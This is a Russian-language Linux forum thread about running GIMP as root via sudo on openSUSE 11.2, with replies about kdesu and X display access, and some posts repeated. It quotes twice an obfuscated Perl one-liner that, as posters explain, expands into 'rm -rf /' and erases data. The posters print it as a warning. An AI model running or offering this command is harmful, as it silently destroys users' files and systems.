OpenSuse 11.2. Необходимо запустить gimp от root. В ясте создаю правило. из консоли выполняю sudo gimp. Вылазит сообщение: Не удалось открыть дисплей: и ничего не запускается.... В какую сторону копать?
Запуск приложений через sudo
Если KDE, жми Alt-F2, вводи
kdesu gimp
А зачем тебе gimp из под рута? Моей фантазии не хватает, чтобы придумать причину.
Так работает, но просит пароль рута. Надо без пароля и из под gnome
IgorS, взачем от root запускать данное приложение? oO
Ладно, поставим вопрос по другому :). Любое не консольное приложение не запускается через sudo. Ошибка та же: Не удалось открыть дисплей
Не помогает. То же сообщение. Может еще какие идеи есть?
Не помогает. То же сообщение. Может еще какие идеи есть?
да идей море... там просто защита стоит - НИКТО не имеет права доступа к иксам. Даже рут. Это по умолчанию. Однако, вы можете это поменять, я сделал так: http://drbatty.ath.cx/forum/viewtopic.php?p=10000#10000
Вот только... ИМХО делать такое для руто - самоубийство. Впрочем каждый ССЗБ, я вас предупредил.
судо надо сконфигурировать будет запускаться
хороший ход. может просто всегда работать под рутом? таких как вы, в начале века расстреливали на LOR'е. Одностроком на перле. Ссылку дать? К тому-же, у вас ошибочка - NOPASSWORD надо в Yes ставить, ведь нужно без пароля. И ещё ошибка - права рута вы дадите, но кто вам сказал, что рут имеет доступ к иксам? Он про них даже и не знает:
# echo $DISPLAY
# а в ответ - тишина, если от рута
хороший ход. может просто всегда работать под рутом? таких как вы, в начале века расстреливали на LOR'е. Одностроком на перле. Ссылку дать?
Знаю ... :( правда не пробоваль. согласен ашипко.
drBatty, ето? perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
OpenSuse 11.2. Необходимо запустить gimp от root. В ясте создаю правило. из консоли выполняю sudo gimp. Вылазит сообщение: Не удалось открыть дисплей: и ничего не запускается.... В какую сторону копать?
В сторону kdesu.
Знаю ... sad правда не пробоваль. согласен ашипко.
drBatty, ето? perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
и не пробуйте. будучи запущенным этот однострок сотрёт все данные юзера, что обычно намного печальнее, чем какая-то дурацкая ОС.
ну а если перед командой поставить ваше sudo, то будет стёрто вообще ВСЁ.
ЗЫЖ принцип работы этой фиговины предельно прост: команда y в перловке переделывает символы, в данном случае, всякие -/:-@[-`{-} преобразуются в команду rm -rf /, которая удаляет все файлы во всех каталогах.
В сторону kdesu.
угу. есть такая... есть и для гнома. можно и без неё... в Linux вообще есть 1001 способ угробить систему :)
ну а если перед командой поставить ваше sudo, то будет стёрто вообще ВСЁ.
ЗЫЖ принцип работы этой фиговины предельно прост: команда y в перловке переделывает символы, в данном случае, всякие -/:-@[-`{-} преобразуются в команду rm -rf /, которая удаляет все файлы во всех каталогах.
знаю :( народ экспериментировал :[
